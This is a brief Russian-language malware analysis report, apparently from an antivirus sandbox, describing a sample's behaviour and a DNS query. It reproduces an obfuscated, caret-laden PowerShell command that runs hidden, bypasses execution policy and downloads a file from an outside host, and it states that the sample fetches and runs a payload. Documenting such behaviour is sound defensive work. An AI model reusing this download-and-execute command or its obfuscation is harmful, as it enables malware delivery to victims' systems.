Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://transporingsytw.wang/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "PO^wE^Rs^hE^L^l^.Ex^E -E^Xe^cU^T^i^OnP^olicY bYpa^sS^ -^NoPRo^Fi^le -^wiNdO^Wst^y^l^e^ hId^dEN^ (NEW^-O^bjEct ^S^Yst^Em^.^neT.W^E^Bc^l^ient)^.doWn^l^OA^D^Fi^Le^('http://trans...
Сетевая активность
UDP
- DNS ASK tr#####ringsytw.wang
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "PO^wE^Rs^hE^L^l^.Ex^E -E^Xe^cU^T^i^OnP^olicY bYpa^sS^ -^NoPRo^Fi^le -^wiNdO^Wst^y^l^e^ hId^dEN^ (NEW^-O^bjEct ^S^Yst^Em^.^neT.W^E^Bc^l^ient)^.doWn^l^OA^D^Fi^Le^('http://trans...' (со скрытым окном)
